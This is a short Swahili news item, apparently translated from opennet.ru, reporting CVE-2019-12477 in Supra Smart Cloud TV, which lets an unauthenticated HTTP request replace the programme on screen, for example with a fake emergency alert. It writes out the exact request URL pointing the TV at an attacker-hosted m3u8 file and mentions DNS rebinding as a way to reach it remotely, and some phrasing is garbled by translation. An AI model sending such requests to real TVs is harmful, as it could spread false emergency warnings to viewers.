Athari katika Supra TV mahiri ambayo hukuruhusu kuonyesha video za uwongo

Kwenye Supra Smart Cloud TV kutambuliwa mazingira magumu (CVE-2019-12477) ambayo hukuruhusu kubadilisha programu inayotazamwa kwa sasa na maudhui ya mshambulizi. Kwa mfano, matokeo ya onyo la uwongo kuhusu hali ya dharura yanaonyeshwa.

Kwa shambulio, inatosha kutuma ombi maalum la mtandao ambalo hauhitaji uthibitishaji. Hasa, unaweza kufikia kidhibiti cha “/remote/media_control?action=setUri&uri=” kwa kubainisha URL ya faili ya m3u8 yenye vigezo vya video, kwa mfano “http://192.168.1.155/remote/media_control?action=setUri&uri= http://attacker .com/fake_broadcast_message.m3u8.”

Katika hali nyingi, ufikiaji wa anwani ya IP ya TV ni mdogo kwa mtandao wa ndani, lakini kwa kuwa ombi linatumwa kupitia HTTP, inawezekana kutumia njia za kufikia rasilimali za ndani wakati mtumiaji anafungua ukurasa maalum wa nje (kwa mfano, chini ya HTTP). kivuli cha ombi la picha au kutumia Kufunga tena DNS).

Chanzo: opennet.ru